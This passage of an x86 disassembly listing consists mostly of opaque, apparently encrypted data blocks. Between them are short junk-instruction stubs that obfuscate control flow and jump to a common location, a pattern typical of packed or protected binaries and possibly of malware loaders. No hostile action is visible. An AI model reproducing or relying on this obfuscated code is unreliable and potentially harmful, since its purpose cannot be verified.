		dd 10D82790h, 4A8FDDF8h, 3852301Bh, 0EBB821D1h,	1EFB8BCh
		dd 0EA5AC8D5h, 5B0F57EFh, 6B884B6h, 86C20000h, 20760A39h
		dd 65BBDB4Fh, 0B526F399h, 0A8D8074Ch, 89DB4F20h, 0C3F0D120h
		dd 266B01D4h, 384768F7h, 0E6B10FD1h, 0B51EF140h, 2317446Dh
		dd 3D2A913h, 79BECA9Eh,	87117D9h, 51DC87C3h, 0F95F3547h
		dd 0F52E5DAAh, 0C3ED5E6h, 0D0E0B3D8h, 268F4ABFh, 4F3AA5E1h
		dd 2256FCC7h, 3D8C61A2h, 0F0BD1B68h, 0B520FB4Ah, 3B4372B7h
		dd 0F6388932h, 0C0FE82B1h, 0DD333C52h, 0BF046D13h, 52C0F090h
		dd 6FD8413Ch, 0D2AEDD2Ah, 5F3C52C0h, 0D1628E2Bh, 0C831D3D9h
		dd 6CE2C79h, 0AC745460h, 0F7AEE06h, 9D720A1Fh, 8ED7Fh
		dd 0BC622800h, 5F05D0B0h, 3A97353h, 0A44A17F7h,	49EFB898h
		dd 0E4B53B3Dh, 8969751Bh, 30101CC2h, 0D2B2BE64h, 0C158640Ah
		dd 0A0BBC5F4h, 6B76D4FCh, 7AD752Bh, 0F6765F3Ah,	9E5C82B1h
		dd 2C95D122h, 0A6B56F20h, 7EE3D4FCh, 0F8FEA106h, 7A5887F0h
		dd 69C70CB2h, 0CF2DFAA0h, 0AAF96208h, 0E0A13996h, 1E629113h
		dd 13D4FC72h, 93D841AAh, 0FC722464h, 0FDC71DD4h, 0D421EE57h
		dd 72285887h, 0A009D4FCh, 852BF351h, 0BCC4F340h, 75D4FC71h
		dd 0F8A9BD0Ch, 0D4FC718Ch, 0ACB85E2Ah, 195E04CCh, 0A71F78DDh
		dd 0B6E5E64Dh, 0D4FC56CAh, 6195FE67h, 90BA4885h, 966BBA60h
		dd 0FCC30D67h, 60E4D0D4h, 0F7CD528Eh, 3530D956h, 1AC088E6h
		dd 0C0662E0Eh, 0AE541D7Bh, 4C2170E1h, 0FCD3571Dh, 0AC987CD4h
		dd 0C0EF7139h, 0D4FCB3C0h, 939F0871h, 60B488C4h, 0F1116F9Eh
		dd 0B720D4FCh, 0FA383483h, 13D8DABh, 75430000h,	0ED3A07ADh
		dd 0CD1CC28Fh, 4710A36Fh, 0E5275D6h, 8EF74D33h,	57295825h
		dd 4FDB4EE5h, 842AF487h, 62734E1Bh, 3C78C50Ah, 0CFF8858Bh
		dd 23C992DCh, 0A23C6BBAh, 4FD121F3h, 0FA64CEE6h, 734892B0h
		dd 7A955h, 0A66C00h, 0A34914F4h, 47EDB797h, 0E88E5B3Bh
		dd 8D33FCDCh, 28697F81h, 0CDADB95Fh, 74546006h,	16F602A8h
		dd 59CA84Eh, 9F770938h,	0AFBAD4FCh, 7AD756Fh, 8013DC3Ah
		dd 0B15720B3h, 3D0A73E4h, 0D65698CCh, 0B4483AE9h, 12703F4Bh
		dd 0F856A54Bh, 0A6F8BB2Ch, 0C54A894Bh, 0F0B9175Ch, 0BD0C7D4Ah
		dd 6E01C9A9h, 8995FEA4h, 6D3AE0A9h, 5BA0460Fh, 419036FDh
		dd 2E167C6Ch, 404CF2BBh, 1626CE58h, 0DDAA08B0h,	0BDC3F237h
		dd 74DB4EC8h, 0E54BC0Bh, 92000000h, 0B55B2886h,	0A2877E8h
		dd 0BFh, 7AD75C0h, 30690B3Ah, 662DDB4Fh, 0CC95F3C0h, 54385926h
		dd 0DDC1DA10h, 6C379567h, 3988F9C6h, 616D13DBh,	420FB581h
		dd 4F106013h, 0F86936DBh, 38EA1295h, 7C49B2BFh,	1AE0511Eh
		dd 46674515h, 0FB713EA7h, 0FD21D78Dh, 0E6B2550Fh, 7653440h
		dd 39DFAA3Dh, 75B981D0h, 0A84E16A9h, 4C146ADBh,	0FF68D9A6h
		dd 6208D432h, 53FA595h,	28CE95F3h, 76A5EA5Bh, 0DB4F210Ah
		dd 116FBE27h, 43E9B245h, 0C3FFCEDAh, 4ACEA955h,	305FA42Fh
		dd 0DB4EC150h, 0FA2978E1h, 0DB4EC990h, 7C81C48h, 86EF7A3Bh
		dd 16121D28h, 0FE71BCB0h, 86FAFFFFh, 69B85E28h,	3794Bh
		dd 0C1407C00h, 80689E36h, 75CB93E2h, 64C207ADh,	0CFA4F399h
		dd 4F20E4A0h, 0C50148DBh, 0A3F0A173h, 0F05CAB2Ch, 58C99174h
		dd 0F3DFE244h, 0E2EE571Eh, 0DCA73A02h, 0B300CD36h, 97E68C55h
		dd 4EB81C68h, 2CD29ADBh, 3F51845Fh, 4EB77010h
		dd 0EF58C1DBh, 35637BAAh, 258ED122h, 0B1382F0Dh, 8AA87D92h
		dd 5F2h, 0ABB75D23h, 4E5A00CBh,	0F2FEA46Eh, 939F4512h
		dd 3844EAB3h, 14DDB236h, 0BB82626Eh, 5D290915h,	3CBABB7h
		dd 0EDBA515Dh, 0FC9DC2BEh, 24646FD4h, 3A07AD75h, 1DC38FEDh
		dd 3290DF50h, 0D7B7C369h, 7D5D690Fh, 7CC90EB4h,	4F20334Dh
		dd 6AC73DBh, 5E8DD23Bh,	0DB4F2122h, 8257A60Fh, 70B55B24h
		dd 9059DE34h, 4ED41F61h, 75A912DBh, 0E3320218h,	9BD71E0Eh
		dd 0BA094176h, 0B92574AEh, 0FC8F588Bh, 4EBF8C32h, 51F1D9E5h
		dd 0A1B0163Eh, 285B2554h, 6DD6DB4Fh, 27CB61Eh, 0F8F40000h
		dd 8EBD8AE2h, 0D85E1FD8h, 0AA66D79Eh, 0C21FD9B5h, 9DD9A60Fh
		dd 70FD7B66h, 78449A14h, 0B71D05D2h, 92657C8Dh,	7B1ACFBAh
		dd 0C38A612h, 0F8A8B1D1h, 5723814Eh, 8855FBC4h,	0F75FAE17h
		dd 23Ah, 8AE2F835h, 206A1645h, 5EC7DB4Fh, 20046291h, 0EE5CD85Eh
		dd 0C0FB8B76h, 0FF3B4EF8h, 0C287529Ch, 180CBD8Bh, 21550D73h
		dd 0B0169B8h, 3F000002h, 0DBBFE2F8h, 32A5445Dh,	88B7FC65h
		dd 0DB4ECAF4h, 2F3A76C3h, 593C1078h, 0D195EB12h, 4811DB4Eh
		dd 1F6ED7A2h, 982BF64Ch, 56BF28CEh, 0D10C5A89h,	0E654D85Dh
		dd 73E3837Eh, 0CB184EF9h, 56000001h, 760A3986h,	0BBDB4F20h
		dd 0A2DE0D52h, 8FDB4F20h, 0DEFCD726h, 0B7045196h, 4F20F888h
		dd 1CE339DBh, 0CF38A976h, 20375180h, 0A10ADB4Fh, 1EC1A5D4h
		dd 0E9B5D85Eh, 4F187643h, 8EF4DCA9h, 65B420D6h,	45943A07h
		dd 0D6706BD9h, 54EF93Eh, 17Ah, 3E4271BEh, 0F3DC6028h, 75733B8Ah
		dd 0A84E1AADh, 0A6BEFA3Fh, 8F0B7DB3h, 0C11FF443h, 0EA4753F9h
		dd 0D3C81EBh, 0D13743BEh, 57EEDD19h, 3CC9D295h,	6CB11AEDh
		dd 4D9C420Eh, 642B4978h, 0E755D500h, 82E0827Dh,	2517B658h
		dd 55000000h, 4A8FDDF8h, 3820681Bh, 3A015FD1h, 9724594h
		dd 20670D3Ch, 0AB19D502h, 42243EB9h, 0CAD3B65Bh, 11000000h
		dd 0C207AD75h, 203A4675h, 0A56CDB4Fh, 0F6C132FFh, 20FE82B1h
		dd 0CA33DB4Fh, 0DF3D1261h, 45A37016h, 0AC0AD77Dh, 0F1BD73E4h
		dd 0F8CF3686h, 0F1D2838Fh, 0D6DB4E64h, 3C09AF78h, 561E7CCBh
		dd 5ADBA5D4h, 0ED56DB4Eh, 6DA97884h, 0C639CEEAh, 3E1968AAh
		dd 6190D597h, 0D13EF2A1h, 0DE713A90h, 2E9F6C12h, 0B9175CC5h
		dd 5E3E4AF0h, 73D7EF95h, 3D92B345h, 3704A68h, 0DFA50000h
		dd 824D2D39h, 26F0D0DCh, 0C7947480h, 6C351521h,	30B8BAC6h
		dd 0E4F0965Fh, 8B973D04h, 2D39DFABh, 0D3DF854Dh, 40406F3Ch
		dd 0F1D4FC9Ah, 0AC75A6E6h, 0EF2BFA06h, 10824FC1h, 6DB36FD8h
		dd 0D0337h, 0CC94F241h,	0FE4B1A26h, 4E7AB1CFh, 0C81780DBh
		dd 0BE4A8600h, 1616C54Bh, 439CA4D8h, 0F63738C7h, 0DB8149A7h
		dd 66E8B00Eh, 4EC94937h, 167FE8DBh, 0CA1A590Ah,	2F8DDB4Eh
		dd 93F1BE64h, 0E65724CAh, 82532E7Dh, 0B176A5EAh, 50D137D2h
		dd 1F882EFAh, 0AD75C913h, 4675C207h, 0DB4F203Ah, 6A3F8EF7h
		dd 929E440Ch, 87CCA035h, 383D7358h, 0A875DED1h,	205FB79h
		dd 2D1785D5h, 5B2590B2h, 4B47B6h, 86850000h, 0E8B55B28h
		dd 884D2877h, 13709FE4h, 0B4D13821h, 20483867h,	80E9D502h
		dd 0B0F55E31h, 0ABDF8552h, 600FDD54h, 8A5FAE06h, 181195Bh
		dd 4BF967D5h, 5BE2F690h, 16E240B6h, 0FE32A370h,	0D405451Eh
		dd 5FC71683h, 0C8h, 7AD759Dh, 6D13DC3Ah, 0E77A42A0h, 420F781Eh
		dd 6A761CE4h, 4F260AB9h, 3EE4ACDBh, 0E48A5232h,	0D3993C17h
		dd 17E3418Eh, 0ACF32271h, 45D1384Dh, 175B97DCh,	0B2FC280Bh
		dd 328FA3F2h, 6F15DCA3h, 83C831A2h, 6A10D836h, 0A4EBDB36h
		dd 95E45D66h, 0F2B09266h, 0E1268FCAh, 6D49BA83h, 7EC2F219h
		dd 8A009581h, 53BC3F72h, 1969A5EAh, 7C0F46C7h, 98788CDBh
		dd 0C71129CFh, 6D987FCCh, 1E07A98h, 6F350000h, 12DDBDC9h
		dd 0B680606Ch, 57240410h, 0FCC5A5B1h, 0A0484A56h, 748026EFh
		dd 1B27CD94h, 0BDC96F3Bh, 636F15DDh, 0B0D0FFCCh, 81D4FC99h
		dd 0AC753676h, 0CD2BFA06h, 0FEA46F02h, 20E84695h, 0CD7357Ah
		dd 0B9031766h, 0D6A2DDF8h, 5382C730h, 0D1382130h, 563A811h
		dd 8CC8953Bh, 0BA30F533h, 0A2E7501Eh, 19A0D73h,	6CBB24D5h
		dd 21EC4A97h, 0B821C78Eh, 993A3A69h, 0F746D501h, 57D9ECBBh
		dd 1F6E2F80h, 3C46B1B3h, 0DBB65BC3h, 0C3h, 354A8619h, 9AF82E18h
		dd 9D65C312h, 3CC2AF7h,	3300A670h, 5D8C59C2h, 0DB4E3966h
		dd 0D6E28850h, 0BB882EF6h, 0A046106Eh, 5AB75D3h, 63724D9Ch
		dd 0A95C409h, 0E7D13762h, 0C015727Eh, 0EB1A67ACh, 0D500FE95h
		dd 97E4339Ch, 0F1B4AF68h, 11FE32CAh, 0D40972E7h, 0F8C56B38h
		dd 70B51E87h, 448CF423h, 3CA5CEB1h, 7942A0EDh, 1EE7C7D3h
		dd 7655A9ADh, 7E45A518h, 0EE066FD8h, 987ED5ACh,	0CF4D6B40h
		dd 46000000h, 0EECEDA80h, 91717D23h, 351521C7h,	0D6B6C268h
		dd 595B670Dh, 93390257h, 3AE0A787h, 0DC824E2Eh,	8228F0D0h
		dd 0E312DF76h, 0D4FC989Dh, 75498994h, 1AFA06ACh, 0D1A0AC52h
		dd 3805AB73h, 75B078C7h, 0DC3A07ADh, 0EB48114h,	5B67D041h
		dd 5095D7FEh, 229DC121h, 8E58B6D1h, 5BAA1BE8h, 0F4521F88h
		dd 9A7A862Ch, 305F2CD2h, 1DA6E2E9h, 9B7DE755h, 0FDCA703Dh
		dd 17DF3D8Ch, 2DACF6A6h, 85CABB40h, 6E2C2A56h, 359E07BCh
		dd 0DB814929h, 72E3B00Eh, 0C8F77A37h, 0BC6F0AB8h, 28DC1079h
		dd 92C10635h, 0BC6ECDEEh, 0A471DA43h, 53A59F83h, 37862CF5h
		dd 5F6B11D9h, 956F5490h, 0B8F692F4h, 9D430B69h,	8B2D0h
		dd 85E30000h, 0FCC413B9h, 0AF758C54h, 16DE3C09h, 7945A370h
		dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h
		dd 0D8A301CEh, 68E86532h, 7103h, 53240C89h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 4895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 78505915h
		mov	eax, 7EA2D5D4h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, eax
		mov	[ebp+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		align 4
		dd 0B8C62341h, 65289C5h, 0E0FFC503h, 4330BB43h,	2DB90527h
		dd 7149105Eh, 18F228BBh, 69B0EA60h, 6D14134Ah, 1E031E6h
		dd 6CB90BBh, 127422A8h,	7B68C7F6h, 44B67823h, 793D4F8Dh
		dd 6500E929h, 151AD9CDh, 594CE060h, 5F58356Ch, 7CEBC03Dh
		dd 4FEC1DCDh, 72F22CACh, 764BDE63h, 0AB5AD8h, 130221E0h
		dd 13658950h, 73FAAA83h, 5E360AE8h, 3DA917E6h, 3F9082A9h
		dd 146835A1h, 29FB87h, 2C4997F9h, 5059D357h, 7D6B6CB2h
		dd 12E8h, 12200400h, 1685835Bh,	567FFDDDh, 204016FEh, 6636EA7Eh
		dd 805EDA8Bh, 0C6818CC2h, 5B29h, 9BBF60B3h, 0FF000016h
		dd 0BF0F5136h, 0F5958D0h, 82h, 0A3C18100h, 80078B6Fh, 0E981C4D4h
		dd 22020644h, 128B0Fh, 0DE90000h, 0E8000000h, 93537775h
		dd 1388F3C4h, 0E5AA5C95h, 54D1C181h, 8C0F6149h,	0Ch, 6840Fh
		dd 870F0000h, 0
		dd 0F58A0E89h, 0C451EE81h, 7E91DE8h, 0E3000000h, 9A77F694h
		dd 0C6811704h, 1DE8C44Dh, 0F4FFCB7h, 1185h, 0E9EEB000h
		dd 22h,	0BEB437BFh, 7D5E50Dh, 0B70FDB3Fh, 0FF75E9DBh, 18ECFFFFh
		dd 0BB9C7B19h, 76F6B5DEh, 40732A63h, 4EB62A7h, 31EE2714h
		dd 5F9E9h, 0B45A2000h, 57FDC8A8h, 0FBA16B4Bh, 9C420FEFh
		dd 41E7B090h, 0DCBD3335h, 81616D13h, 280814BAh,	0CAAAB65Ch
		dd 0B9505C02h, 95C3BDECh, 636ED4FCh, 7AD7523h, 6D13DC3Ah
		dd 69349261h, 2F85F6C3h, 81F2BF65h, 660CD432h, 25EE4C99h
		dd 8D54B27Fh, 0D12F7EE7h, 38966309h, 84FAC76Dh,	0F3BB2E16h
		dd 6BCC084Dh, 0C8B8E756h, 69DB4EC8h, 1F53CC00h,	58384C9Bh
		dd 110C1B8Ch, 7AF1D437h, 0D8360511h, 2899660Ch,	9AF7BD9h
		dd 9517DE3Ch, 4E821A66h, 7AAE17DBh, 582AA659h, 9C69D2D2h
		dd 1CE743Eh, 6431D7A3h,	21C480EEh, 2D46AF55h, 94EC1B68h
		dd 23DB4E42h, 4E428CF4h, 713CA5DBh, 0ECBD973Dh,	74DDB64Dh
		dd 588BB925h, 0FADAE68Ch, 0FF81B032h, 32DB4E46h, 0BD1B60C9h
		dd 0D6054AF0h, 0DB4E46AAh, 0FACF1E87h, 4E46A8CBh, 0EE563CDBh
		dd 169853F3h, 7E88B0h, 75C60000h, 0B3A07ADh, 0DB4F2077h
		dd 0A17AB67Dh, 52728296h, 63E14D9Ch, 0C46A3391h, 693086F7h
		dd 740E74C3h, 0A3B01674h, 18h, 0E9B10F5Ch, 0F6641C43h
		dd 7542DB4Eh, 679B04CFh, 0DAFD7942h, 0FDC5141Fh, 0BF04AA75h
		dd 0A85BB783h, 4F85BFh,	6F02CD2Bh, 0E83502A8h, 4EFEC7B9h
		dd 98016ADBh, 5D27842h,	5E2B94h, 4AC08D33h, 0AA7568DCh
		dd 7083BF04h, 0E552D3C3h, 755569B8h, 0B1FB07ADh, 3906AC75h
		dd 1CC28EECh, 318FDE4Fh, 1D7BC066h, 895EAD53h, 0CE313399h
		dd 0BC1A5F05h, 0D7E4BF1h, 0AD6096D9h, 3A894281h, 0D7E4626h
		dd 460F7E3h, 0B481EAC3h, 19E68C56h, 814EF4BBh, 0E8B55B23h
		dd 37AA9A00h, 8CFDCA70h, 1B49B723h, 0FD15BDF9h,	0A1D57B48h
		dd 3887C087h, 1688A0D2h, 8F57B0h, 75950000h, 0DB3906ACh
		dd 289E6B11h, 2C688ABAh, 77A64B6Ch, 0DB4EDE09h,	688BBF28h
		dd 0F957A6A0h, 0AF7E8A30h, 13E08651h, 38E997C6h, 0DF48DB4Eh
		dd 0C92776h, 622F8D5Ah,	0C491EFBCh, 29F3511Eh, 60C6B683h
		dd 1482EEE4h, 0A88DA550h, 5C2AB016h, 68000000h,	3906AC75h
		dd 1BC18EECh, 308EDD4Eh, 93F1BE64h, 0F55320C6h,	49BA872Dh
		dd 0BCB526F3h, 0EED483EEh, 0A8E4B11Ah, 9D117B4Eh, 278D6D2Ch
		dd 0DBA8B73Dh, 4310B67Dh, 2D1783D2h, 3F4BF1BAh,	4AA75F5h
		dd 206B0837h, 9379DB4Fh, 18E13FD1h, 0E534A572h,	1642E77Fh
		dd 114B0h, 86520000h, 0E8B55B28h, 0CA2877h, 672F8D5Ah
		dd 0FC650BD4h, 0EC9259B7h, 0C3A7C89Dh, 0EE945E81h, 34EE6DA9h
		dd 6BEFC335h, 2AAB081Ch, 96EA1966h, 9BDB4E87h, 87750B32h
		dd 53BCDB4Eh, 0AB69A5EAh, 0A1F4D83Fh, 0A384A08Fh, 95FEAF10h
		dd 0ADCAF946h, 0FAD1374Bh, 622FD59Ch, 2ED49BF1h, 0CEA1F061h
		dd 723A9865h, 18E0C0CCh, 4196796h, 0AF18D501h, 384A7946h
		dd 0B5D50103h, 0A0689BC9h, 460EEEFAh, 141F5BA0h, 1DDA2F51h
		dd 0FF4C2170h, 25803AC3h, 0EC3BCBB3h, 5320C68Eh, 0F1BE1C63h
		dd 118C2E80h, 30992651h, 2DCF75E1h, 956208CFh, 18D5F024h
		dd 61DCCDAAh, 46ECB412h, 882F6B3Ah, 0A6E4DBA5h,	8D95FB4Ah
		dd 45B6589Dh, 0A8751BE7h, 0BDC3F237h, 74D5004Dh, 7D54BC0Bh
		dd 92000001h, 0BA602886h, 522D7CEDh, 57A4E983h,	986D871Bh
		dd 0F140B2EAh, 3746C9C2h, 0E6B00ED1h, 0B51EF140h, 1CC28AE8h
		dd 0D5683010h, 4810660Ch, 0FB64D5A2h, 8608D02Eh, 1052957h
		dd 369F08D5h, 0C21DB5F1h, 345E2251h, 6AD3D500h,	48A1A636h
		dd 0FCC624F9h, 5E2B8956h, 0C08DEBB8h, 98CC321Ah, 40046A52h
		dd 232FD59Dh, 58AE2B3Bh, 72D0B6h, 0F80E0000h, 68F8BFE2h
		dd 0DEF4506Bh, 85E33075h, 96C514BAh, 0DB4E6EBAh, 0CF754197h
		dd 1D4C9102h, 0DB4E6C63h, 2FFC65CEh, 2628A6E2h,	8DC5A157h
		dd 8E57B59h, 58A7DE67h,	4E785729h, 0E55FC5DBh, 0F8455585h
		dd 4E78B7C9h, 0EA117ADBh, 0DB4E7896h, 84C9329Bh, 4E7AFB55h
		dd 0A8ED56DBh, 78542C5Bh, 74DDDB4Eh, 7880002Fh,	48B1DB4Eh
		dd 9D45E5F9h, 0FB000000h, 4A8FDDF8h, 384FEC1Bh,	1FEC55D1h
		dd 4877F9C1h, 0D501F138h, 0F130507Fh, 9801D501h, 0EFFB64CDh
		dd 51F7C220h, 78083784h, 0B9D501F0h, 0C991E750h, 0AE76D423h
		dd 690C3B08h, 74D501F1h, 9A5A6BA7h, 716F7925h, 6C8EB622h
		dd 0CC9D7730h, 8EDD1E0Dh, 7DC26830h, 0BD86C641h, 98E7AD47h
		dd 0F3AE2784h, 2E7C72A3h, 0AFD1004Dh, 82D501E7h, 247B019h
		dd 8047DAA4h, 339C0DDAh, 3A6897E4h, 0B7CAD574h,	85EE9461h
		dd 0EC925AB8h, 2A1AFE1Fh, 19E49B3Ah, 96C50A73h,	0C482E90Ch
		dd 26707CE5h, 4A8FDDF8h, 5282C1FDh, 0EE73FCE1h,	9B32709Fh
		dd 56BFD122h, 0C0EF3C89h, 0D4FC83C0h, 5BB90871h, 1E1ED93h
		dd 97C69339h, 0FA363B04h, 7568DC4Ah, 2CFB07ADh,	0CDD0B0DFh
		dd 0ED69D3Fh, 0E5349D68h, 4C19BF87h, 0AE7B21EEh, 48BBA98Dh
		dd 0EECEDA80h, 95B38026h, 3, 758C544Bh,	0DE3C09AFh, 45A37016h
		dd 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh, 3E9C690Fh
		dd 0A301CE74h, 0E86532D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		push	eax
		mov	eax, 58CF0DB3h
		neg	eax
		and	eax, 6B564729h
		shl	eax, 1
		xor	eax, 40720FB9h
		mov	esi, eax
		pop	eax
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		mov	[ecx+8], esi
		pop	esi
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dd 54BE3DCFh, 2B8BA88h,	3065291h, 8BE0FFC5h, 0D0788359h
		dd 0B72C962Ah, 2C6BFE1Eh, 8D692BD2h, 52927C8Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8B57A842h, 4D0501B5h, 0B52B5A06h, 64D1231h, 5998D89h
		dd 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD0B68C3h, 64D2835h, 51D85C7h, 69D8064Dh
		dd 0B8660000h, 85C7A60Dh, 64D02E9h, 0
		dd 6830Fh, 9D230000h, 64D0F45h,	2D19B5FFh, 0BD8B064Dh
		dd 64D0B8Dh, 476CBE66h,	2E5595FFh, 6A064Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0B069FEC3h
		dd 54C25789h, 6AA439FCh, 1195FF00h, 8B064D05h, 6679EBC0h
		dd 40FB2756h, 0F2308E5Fh, 0BDF1EED5h, 4EEF18B2h, 0F07499A9h
		dd 76072635h, 486C7DC2h, 7243AA2Ah, 2721AB47h, 3B5EA79Ch
		dd 0ECE32A33h, 3C21BE00h, 59908A2h, 60074013h, 51130426h
		dd 89CAFFEAh, 0C4A66C9h, 0DFA61F50h, 9169F162h,	9ADA1409h
		dd 0B6350049h, 94B748CFh, 17184A0Ah, 497BC23h, 0CFB18B32h
		dd 0D676039Dh, 431AFD46h, 23B7ED62h, 0D6ADC39Ch, 2036AD23h
		dd 2DEBh, 0DD00000h, 319CBFAEh,	0ADF9DFF2h, 8C88A7A5h
		dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h, 14672681h
		dd 903B2BDh, 0E9338B53h, 0B16h,	52943C68h, 0EC8BE906h
		dd 0E968FFFAh, 0E9065295h, 0FFFAEC81h, 5296F268h, 0EC77E906h
		dd 0C468FFFAh, 0E9065297h, 0FFFAEC6Dh, 52988668h, 0EC63E906h
		dd 7B68FFFAh, 0E9065299h, 0FFFAEC59h, 529A5568h, 0EC4FE906h
		dd 0EF68FFFAh, 0E906529Bh, 0FFFAEC45h, 529CCB68h, 0EC3BE906h
		dd 37FDFFFAh, 0DAA58591h, 7E482834h, 1FECCCD8h,	0C48D6D79h
		dd 9810121Eh, 3C48EEB7h, 0E3EF955Ch, 85913703h,	2B37DDA5h
		dd 0E898C794h, 49D4FC8Dh, 3986FE3Eh, 4F20760Ah,	0FC52BBDBh
		dd 4BBC892Fh, 0B8B421FCh, 0A3491573h, 3FD80754h, 28D122B5h
		dd 0A59FFCAh, 2B89CE37h, 0D1B1BD63h, 0BB966309h, 0DE0D521Ah
		dd 0CAD02096h, 0C369358Bh, 0EFB7155Ah, 0C9C80449h, 0EE4FB654h
		dd 6EBBB130h, 50B95835h, 450DED01h, 2785D29Fh, 0D3ADDC5Eh
		dd 5ECEA9F2h, 4EBF8CF5h, 0CEB124FFh, 23946107h,	414675BAh
		dd 0C49316h, 703DE3AAh,	0B77E96FFh, 578611A7h, 9656482h
		dd 0EBB10000h, 8E593945h, 32FCDCE8h, 0D3A0808Ch, 7841212Dh
		dd 2CC4C6D2h, 0F0FCA26Bh, 97A34910h, 3945EBB7h,	0DFEB9159h
		dd 344C7B48h, 0FDD4FC8Ch, 3986B2F2h, 4F20760Ah,	4776BBDBh
		dd 0DB4F2039h, 0D7268FF8h, 3E0BB179h, 679618E0h, 0DB4F2119h
		dd 50F6C218h, 40A91283h, 6EFED734h, 0B57EDC29h,	2506420Fh
		dd 0AFE81E2Eh, 0C7C5F962h, 7473BCE8h, 0AE1D4C9Bh, 29D1380Ah
		dd 0DCF941EDh, 30A16E14h, 0C2188CFCh, 2EFBA16Ch, 329B6EBDh
		dd 923E3665h, 0F342D501h, 9CD3C3B7h, 0E938D1D2h, 0D735C77Dh
		dd 2798650Bh, 80D072D8h, 4907B65Bh, 45000000h, 0D7A2DDF8h
		dd 4783C831h, 824A1AF3h, 13EBA8DCh, 98C71463h, 0D137ABEBh
		dd 6CA8ED56h, 0B034D7EFh, 0BB20734Ch, 6DE3FA2Eh, 0B4E3B807h
		dd 0D50206C0h, 0E71252C0h, 0B65B585Fh, 651B4A97h, 0CCD50212h
		dd 0F1AC1463h, 0EA000000h, 0DF612886h, 4F20D0B0h, 8FF861DBh
		dd 741AE240h, 0CDB3E22Fh, 64DB4F20h, 8AD7ACFBh,	6AB95F2Ch
		dd 589D430Ch, 0BC892FFAh, 0C927FC4Bh, 308E5B01h, 0E7B6C268h
		dd 0E519BF89h, 0D9169369h, 0B7E6354Fh, 0DB4EE4C0h, 0EF4AABE7h
		dd 29B33415h, 7BECB95Fh, 9D65C312h, 50F6BD1Bh, 4E455729h
		dd 0E2884FDBh, 3945AE17h, 35FE9159h, 0E851C28Fh, 0D795401Bh
		dd 0C56B3492h, 0EB3887F8h, 376C33BCh, 6975DED1h, 5EA3C90Ch
		dd 46ECB311h, 46F53D79h, 0C43424Ah, 6A2554A3h, 0E7CAF18Ah
		dd 12DB397Eh, 0ABDA276Ch, 0CEB11CD5h, 90A4F35Ch, 2941E7B0h
		dd 987DF04Ch, 0B80523F8h, 5E000007h, 6E6F298h, 0A989953Bh
		dd 4D2D39DFh, 0EECEDA80h, 71737F25h, 0AB511A7Fh, 52F8BF9Fh
		dd 0F49A6646h, 9A4008E8h, 0FB2AF78Eh, 0D4FC8B85h, 7561A1ACh
		dd 1AFA06ACh, 56A0AC52h, 4A8FDDF8h, 2FD59FFDh, 20D2B1E0h
		dd 0B9F5D138h, 0A609613Ah, 235D8CF1h, 0ED5016Ah, 1AED3CA5h
		dd 3997E4B1h, 0A470C66Ch, 0F480AFFEh, 0A2D50169h, 96734DAh
		dd 0E5CD9A40h, 0A30FC57Fh, 0B2D40F35h, 69B65BF5h, 0E8h
		dd 0DB3986A7h, 3A466D13h, 0F7DB4F20h, 19E13F8Eh, 7F48A673h
		dd 693694D9h, 3685F6C3h, 0E9D81461h, 0C8276AAh,	492E5DACh
		dd 4DDB4EA8h, 0ACD40385h, 85DB4EA0h, 106EB31Ch,	5FD09D43h
		dd 541CFC10h, 0CF06E1AEh, 0C629589Dh, 4BD137C6h, 5C79D6E2h
		dd 0E49CCB10h, 0D3CAF22Eh, 3603A975h, 3AA376C5h, 29CF97F5h
		dd 662F8DDAh, 0FE9708D3h, 4BBB2160h, 1C61CA33h,	0FE4DF3BEh
		dd 9B410AEAh, 7EA8AC83h, 55734898h, 6AFh, 0EFFBA167h, 929E440Fh
		dd 3642E8B2h, 0D7E38956h, 7C882EF7h, 5821767Ah,	0FFC6A6B2h
		dd 0A16D4D59h, 470FEFFBh, 31FE95A1h, 0FC8A7E02h, 68A8B3D4h
		dd 0B95F2886h, 0CE2C7BECh, 0CD1A5F05h, 4F20E29Eh, 97E64FDBh
		dd 967B483h, 59CA973Dh,	4F204E32h, 18AFE3DBh, 0B4F6BD1h
		dd 0C52372DBh, 14B57FDh, 0CD602886h, 1E8F5C02h,	6C9BE8B5h
